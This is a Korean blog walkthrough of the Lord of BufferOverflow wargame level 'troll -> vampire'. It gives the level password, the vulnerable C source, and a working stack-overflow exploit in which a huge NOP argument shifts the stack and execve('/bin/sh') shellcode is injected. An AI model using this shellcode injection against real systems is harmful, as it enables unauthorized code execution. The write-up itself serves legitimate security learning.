Write up (Wargame)/LOB

[Lord Of Bufferoverflow] 9. troll -> vampire 풀이

2022. 5. 18. 20:02
목차
  1. 탐색전
  2. 풀이
반응형

login : troll

password : aspirin

 

 

탐색전


두근두근

 

cat vampire.c

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

환경변수를 초기화 하는 부분이 사라졌다.

main 함수에서 인자를 입력받고, 이제는 here is changed!(ㅋㅎㅋㅎㅋ)

argv[1] 인자에서 46번 인덱스, 즉 47번째가 \xff 이면 안된다.

이전과 동일하게 48번째는 \xbf

그러니까 ret의 주소가 0xbf(ff는 안됨)~~~ 이어야 한다.

 

그리고 buffer와 argv[1]을 0으로 덮는 부분이 사라졌다.

 

 

cp vampire mympire

 

일단 주소를 확인해봐야하니 A로 덮고 core파일을 보자.

 

 

풀이


우선 주소를 확인한다. core 파일을 보기 위해 seg fault를 일으킨다.

 

아무리 계속 넘겨도 0xbf ff를 벗어날 수 없는데 어떻게 해야할까.

 

0xbf ff 는 ff이므로 더이상 커지면 0xbf를 바꾸게 되므로 실행이 어려워진다.

그러면 이전에 설명했던 메모리 구조에서

 

인자 위에 main의 스택 프레임이 생기게 되는데 인자의 값이 클수록 스택 프레임이 위에 생기지 않을까?

그러면 0xbfff 보다 작은 주소에서 스택프레임이 생기고 그 위에서 exploit을 하면 되는게 아닐까 싶었다.

 

그래서 인자 값으로 엄청나게 큰 값을 주었다.

0xbfff를 0xbffe로 만들 정도니까 아무래도 0xffff 정도는 주어야겠다.

 

./mympire $(python -c "print 'A'*47+'\xbf'+'\x90'*0xffff")

 

gdb로 core을 확인하면 0xbffe로 시작한다.

그러면 이 상태에서 buf의 시작주소는 0x41이 들어있는 0xbffefac0 인듯 하니 여기에 shellcode를 넣고 exploit 하는 코드를 작성한다.

 

./mympire $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*19+'\xc0\xfa\xfe\xbf'+'\x90'*0xffff")

 

된다.

 

이제 vampire로 해보자.

 

./vampire $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*19+'\xc0\xfa\xfe\xbf'+'\x90'*0xffff")

 

 

music world

 

이사자 거의 다 왔다!

반응형
  1. 탐색전
  2. 풀이
'Write up (Wargame)/LOB' 카테고리의 다른 글
  • [Lord Of Bufferoverflow] 10. vampire -> skeleton 풀이
  • [Lord Of Bufferoverflow] 8. orge -> troll 풀이
  • [Lord Of Bufferoverflow] 7. darkelf -> orge 풀이
  • [Lord Of Bufferoverflow] 6. wolfman -> darkelf 풀이
그믐​
그믐​
neutrinox4b1그믐​ 님의 블로그입니다.
그믐​
neutrinox4b1
그믐​
전체
오늘
어제
  • 분류 전체보기 (288)
    • Write up (Wargame) (121)
      • Pwnable (60)
      • Reversing (0)
      • Web Hacking (8)
      • Forensic (1)
      • Cryptography (6)
      • LOB (10)
      • misc (0)
      • SF pwnable 기초 (10)
      • SF pwnable 심화 (1)
      • LOS (25)
    • Security (73)
      • 시스템 해킹(PWN, System) (21)
      • 리버싱(Reverse Engineering) (1)
      • 포렌식(Forensic) (3)
      • 암호학(Cryptography) (44)
      • 네트워크(Network) (1)
      • 임베디드(Emebedded) (0)
    • Develop & CS (38)
      • Algorithm & Data Structure (6)
      • Baekjoon (11)
      • C, C++ (8)
      • Python (2)
      • R (1)
      • etc (8)
    • 프로젝트(Project) (7)
      • 시간표&급식 파싱 (1)
      • 남방진동지수 (1)
      • 네트워크 해킹 (5)
    • Daily life (44)
      • My Book (10)
      • Book Review (1)
      • IT Review (1)
      • 일상 팁 (19)
      • 네트워크관리사 (2)
      • 근황 (11)
    • 수학&과학(Mathematics & Science.. (4)

인기 글

공지사항

  • Wargame, CTF별 검색 키워드 정리
hELLO · Designed By 정상우.
그믐​
[Lord Of Bufferoverflow] 9. troll -> vampire 풀이
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.